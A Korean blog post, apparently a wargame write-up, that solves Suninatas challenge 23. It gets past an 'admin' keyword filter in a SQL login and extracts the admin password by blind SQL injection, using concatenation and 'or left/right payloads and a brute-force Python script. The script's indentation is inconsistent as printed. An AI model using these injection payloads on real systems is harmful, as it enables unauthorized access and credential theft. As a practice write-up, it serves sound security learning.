ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • <Suninatas> 23번 문제
    Wargame/Suninatas 2021. 11. 7. 16:02

    23번 문제

    앞전에 풀었던 Suninatas 22번 문제와 유사하지만, 'admin'과 'substring'이 필터링되는 것을 확인할 수 있다.

    페이지 소스 코드를 먼저 살펴보면 아래의 힌트를 찾을 수 있다.

    전의 문제와 똑같이 guest의 로그인 정보를 주고 admin의 패스워드를 찾으라 한다.

    그리고 'admin' 문자열을 우회하라고 한다.

    무심결에 ad'+'min'--으로 로그인해보니 로그인에 성공하였다.

    찾아보니 SQL에서 문자열을 '+'로 합칠 수 있는 특성을 이용하여 문자열을 우회할 수 있었다.

     

    또 다른 방법으로 'or id <'b' 구문을 사용할 수 있다. 이는 SQL에서 문자열을 ASCII값 기준으로 크기를 비교할 수 있는 특성을 이용한다.

     

    패스워드의 길이 먼저 찾아본다.

    패스워드의 길이는 11보단 크고, 12보단 크지 않다. 즉, 패스워드의 길이가 12인 것을 알 수 있다.

     

    이제 패스워드의 한 글자씩 알아본다.

    앞서 풀었던 22번 문제에서는 substring()을 사용할 수 있었지만, 이 문제에선 사용할 수 없다.

    따라서, left()와 right()를 사용했다.

    left(string, count) : string의 왼쪽부터 count 개수만큼의 문자만 자름

    right(string, count) : string의 오른쪽부터 count 개수만큼의 문자만 자름

    left( "12345", 2 ) = 12  -- 좌측 문자열을 두 개 가져온다.
    right( "12345", 2  ) = 45 -- 우측 문자열을 두 개 가져온다.
    left(right( "12345",2 ),1 ) =  45 -> 4  -- 우측 두 개의 문자열에서 조회된 첫 번째 문자를 가져온다.
    left(right( "12345",3 ),1 ) =  345 -> 3  -- 우측 세 개의 문자열에서 조회된 첫 번째 문자를 가져온다.

     

    직접 하나씩 찾을 수도 있지만, 편리하게 파이썬 코드를 통해 찾아본다.

    로그인 시 아이디 입력 길이가 30으로 제한돼있어 ad'+'min' 대신 짧은 ' or을 이용한다. or로 인해 로그인 테이블에 존재하는 계정을 모두 불러오므로 비밀번호를 알아낼 때 admin 계정의 비밀번호만 획득하도록 한다.

    'or Left(right(pw,1),1)='a'--
    'or Left(right(pw,1),1)='b'--
    ...
    'or Left(right(pw,12),1)='a'--

    위 구문을 통해 패스워드의 끝부분부터 한 글자씩 획득할 수 있다.

     

    import urllib.request  # URL을 열기 위한 확장 가능한 라이브러리
    import urllib.parse    # URL을 구성 요소로 구문 분석
     
    # password 길이
    password_len = 12
     
    pw = ''
     
    # 비밀번호 획득
    for j in range(password_len,0, -1):
    	for i in range(32127):
        	url = "http://suninatas.com/challenge/web23/web23.asp?id="
            inject = "'or Left(right(pw," + str(j) + "),1)='" + chr(i) + "'--"
                     
            url = url + urllib.parse.quote(inject) + "&pw=1"  # urllib.parse.quote() : URL의 경로 섹션을 인용
            req = urllib.request.Request(url)  # 클래스로 URL 요청의 추상화
            f = urllib.request.urlopen(req)  # 문자열이나 Request 객체일 수 있는 URL을 오픈
            resp = f.read().decode("utf-8")
     
            if resp.find("<font size=4 color=blue>admin") != -1:
            	print ("find: " + chr(i) )
                pw += chr(i)
                break
    
    print ("password: ", pw)

    위 파이썬 코드를 실행하면 패스워드를 획득할 수 있다.

    'Wargame > Suninatas' 카테고리의 다른 글

    <Suninatas> 22번 문제  (0) 2021.11.05
    <Suninatas> 8번 문제  (0) 2021.11.01
    <Suninatas> 7번 문제  (0) 2021.10.31
    <Suninatas> 6번 문제  (0) 2021.10.31
    <Suninatas> 5번 문제  (0) 2021.10.29
Designed by Tistory.